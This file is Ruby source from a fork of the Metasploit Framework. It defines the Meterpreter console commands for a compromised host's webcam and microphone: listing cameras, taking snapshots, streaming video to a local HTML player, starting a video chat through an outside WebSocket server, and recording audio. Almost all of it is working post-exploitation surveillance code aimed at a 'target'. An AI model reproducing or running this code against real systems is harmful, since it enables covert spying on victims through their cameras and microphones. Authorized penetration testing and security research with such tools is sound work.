/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

https://github.com/Jonono2/metasploit-framework · Ruby · 343 lines · 292 code · 39 blank · 12 comment · 15 complexity · d5223d03f43586bf668063eaf7015859 MD5 · raw file

  1. # -*- coding: binary -*-
  2. require 'rex/post/meterpreter'
  3. module Rex
  4. module Post
  5. module Meterpreter
  6. module Ui
  7. ###
  8. #
  9. # Webcam - Capture video from the remote system
  10. #
  11. ###
  12. class Console::CommandDispatcher::Stdapi::Webcam
  13. Klass = Console::CommandDispatcher::Stdapi::Webcam
  14. include Console::CommandDispatcher
  15. #
  16. # List of supported commands.
  17. #
  18. def commands
  19. all = {
  20. "webcam_chat" => "Start a video chat",
  21. "webcam_list" => "List webcams",
  22. "webcam_snap" => "Take a snapshot from the specified webcam",
  23. "webcam_stream" => "Play a video stream from the specified webcam",
  24. "record_mic" => "Record audio from the default microphone for X seconds"
  25. }
  26. reqs = {
  27. "webcam_chat" => [ "webcam_list" ],
  28. "webcam_list" => [ "webcam_list" ],
  29. "webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
  30. "webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
  31. "record_mic" => [ "webcam_audio_record" ],
  32. }
  33. all.delete_if do |cmd, desc|
  34. del = false
  35. reqs[cmd].each do |req|
  36. next if client.commands.include? req
  37. del = true
  38. break
  39. end
  40. del
  41. end
  42. all
  43. end
  44. #
  45. # Name for this dispatcher
  46. #
  47. def name
  48. "Stdapi: Webcam"
  49. end
  50. def cmd_webcam_list
  51. begin
  52. client.webcam.webcam_list.each_with_index { |name, indx|
  53. print_line("#{indx + 1}: #{name}")
  54. }
  55. return true
  56. rescue
  57. print_error("No webcams were found")
  58. return false
  59. end
  60. end
  61. def cmd_webcam_snap(*args)
  62. path = Rex::Text.rand_text_alpha(8) + ".jpeg"
  63. quality = 50
  64. view = true
  65. index = 1
  66. wc_list = []
  67. webcam_snap_opts = Rex::Parser::Arguments.new(
  68. "-h" => [ false, "Help Banner" ],
  69. "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
  70. "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
  71. "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
  72. "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  73. )
  74. webcam_snap_opts.parse( args ) { | opt, idx, val |
  75. case opt
  76. when "-h"
  77. print_line( "Usage: webcam_snap [options]\n" )
  78. print_line( "Grab a frame from the specified webcam." )
  79. print_line( webcam_snap_opts.usage )
  80. return
  81. when "-i"
  82. index = val.to_i
  83. when "-q"
  84. quality = val.to_i
  85. when "-p"
  86. path = val
  87. when "-v"
  88. view = false if ( val =~ /^(f|n|0)/i )
  89. end
  90. }
  91. begin
  92. wc_list << client.webcam.webcam_list
  93. rescue
  94. end
  95. if wc_list.length > 0
  96. begin
  97. print_status("Starting...")
  98. client.webcam.webcam_start(index)
  99. data = client.webcam.webcam_get_frame(quality)
  100. print_good("Got frame")
  101. ensure
  102. client.webcam.webcam_stop
  103. print_status("Stopped")
  104. end
  105. if( data )
  106. ::File.open( path, 'wb' ) do |fd|
  107. fd.write( data )
  108. end
  109. path = ::File.expand_path( path )
  110. print_line( "Webcam shot saved to: #{path}" )
  111. Rex::Compat.open_file( path ) if view
  112. end
  113. return true
  114. else
  115. print_error("No webcams where found")
  116. return false
  117. end
  118. end
  119. def cmd_webcam_chat(*args)
  120. if client.webcam.webcam_list.length == 0
  121. print_error("Target does not have a webcam")
  122. return
  123. end
  124. server = 'wsnodejs.jit.su:80'
  125. webcam_chat_opts = Rex::Parser::Arguments.new(
  126. "-h" => [ false, "Help banner"],
  127. "-s" => [ false, "WebSocket server" ]
  128. )
  129. webcam_chat_opts.parse( args ) { | opt, idx, val |
  130. case opt
  131. when "-h"
  132. print_line( "Usage: webcam_chat [options]\n" )
  133. print_line( "Starts a video conversation with your target." )
  134. print_line( "Browser Requirements:")
  135. print_line( "Chrome: version 23 or newer" )
  136. print_line( "Firefox: version 22 or newer" )
  137. print_line( webcam_chat_opts.usage )
  138. return
  139. when "-s"
  140. server = val.to_s
  141. end
  142. }
  143. begin
  144. print_status("Webcam chat session initialized.")
  145. client.webcam.webcam_chat(server)
  146. rescue RuntimeError => e
  147. print_error(e.message)
  148. end
  149. end
  150. def cmd_webcam_stream(*args)
  151. print_status("Starting...")
  152. stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
  153. player_path = Rex::Text.rand_text_alpha(8) + ".html"
  154. duration = 1800
  155. quality = 50
  156. view = true
  157. index = 1
  158. wc_list = []
  159. webcam_snap_opts = Rex::Parser::Arguments.new(
  160. "-h" => [ false, "Help Banner" ],
  161. "-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
  162. "-i" => [ true, "The index of the webcam to use (Default: 1)" ],
  163. "-q" => [ true, "The stream quality (Default: '#{quality}')" ],
  164. "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
  165. "-t" => [ true, "The stream player path (Default: #{player_path})"],
  166. "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
  167. )
  168. webcam_snap_opts.parse( args ) { | opt, idx, val |
  169. case opt
  170. when "-h"
  171. print_line( "Usage: webcam_stream [options]\n" )
  172. print_line( "Stream from the specified webcam." )
  173. print_line( webcam_snap_opts.usage )
  174. return
  175. when "-d"
  176. duration = val.to_i
  177. when "-i"
  178. index = val.to_i
  179. when "-q"
  180. quality = val.to_i
  181. when "-s"
  182. stream_path = val
  183. when "-t"
  184. player_path = val
  185. when "-v"
  186. view = false if ( val =~ /^(f|n|0)/i )
  187. end
  188. }
  189. print_status("Preparing player...")
  190. html = %Q|<html>
  191. <head>
  192. <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
  193. <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  194. <title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
  195. <script language="javascript">
  196. function updateStatus(msg) {
  197. var status = document.getElementById("status");
  198. status.innerText = msg;
  199. }
  200. function noImage() {
  201. document.getElementById("streamer").style = "display:none";
  202. updateStatus("Waiting");
  203. }
  204. var i = 0;
  205. function updateFrame() {
  206. var img = document.getElementById("streamer");
  207. img.src = "#{stream_path}#" + i;
  208. img.style = "display:";
  209. updateStatus("Playing");
  210. i++;
  211. }
  212. setInterval(function() {
  213. updateFrame();
  214. },25);
  215. </script>
  216. </head>
  217. <body>
  218. <noscript>
  219. <h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
  220. </noscript>
  221. <pre>
  222. Target IP : #{client.sock.peerhost}
  223. Start time : #{Time.now}
  224. Status : <span id="status"></span>
  225. </pre>
  226. <br>
  227. <img onerror="noImage()" id="streamer">
  228. <br><br>
  229. <a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
  230. </body>
  231. </html>
  232. |
  233. ::File.open(player_path, 'wb') do |f|
  234. f.write(html)
  235. end
  236. if view
  237. print_status("Opening player at: #{player_path}")
  238. Rex::Compat.open_file(player_path)
  239. else
  240. print_status("Please open the player manually with a browser: #{player_path}")
  241. end
  242. print_status("Streaming...")
  243. begin
  244. client.webcam.webcam_start(index)
  245. ::Timeout.timeout(duration) {
  246. while client do
  247. data = client.webcam.webcam_get_frame(quality)
  248. if data
  249. ::File.open(stream_path, 'wb') do |f|
  250. f.write(data)
  251. end
  252. data = nil
  253. end
  254. end
  255. }
  256. rescue ::Timeout::Error
  257. ensure
  258. client.webcam.webcam_stop
  259. end
  260. print_status("Stopped")
  261. end
  262. def cmd_record_mic(*args)
  263. path = Rex::Text.rand_text_alpha(8) + ".wav"
  264. play = true
  265. duration = 1
  266. record_mic_opts = Rex::Parser::Arguments.new(
  267. "-h" => [ false, "Help Banner" ],
  268. "-d" => [ true, "Number of seconds to record (Default: 1)" ],
  269. "-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
  270. "-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
  271. )
  272. record_mic_opts.parse( args ) { | opt, idx, val |
  273. case opt
  274. when "-h"
  275. print_line( "Usage: record_mic [options]\n" )
  276. print_line( "Records audio from the default microphone." )
  277. print_line( record_mic_opts.usage )
  278. return
  279. when "-d"
  280. duration = val.to_i
  281. when "-f"
  282. path = val
  283. when "-p"
  284. play = false if ( val =~ /^(f|n|0)/i )
  285. end
  286. }
  287. print_status("Starting...")
  288. data = client.webcam.record_mic(duration)
  289. print_status("Stopped")
  290. if( data )
  291. ::File.open( path, 'wb' ) do |fd|
  292. fd.write( data )
  293. end
  294. path = ::File.expand_path( path )
  295. print_line( "Audio saved to: #{path}" )
  296. Rex::Compat.play_sound( path ) if play
  297. end
  298. return true
  299. end
  300. end
  301. end
  302. end
  303. end
  304. end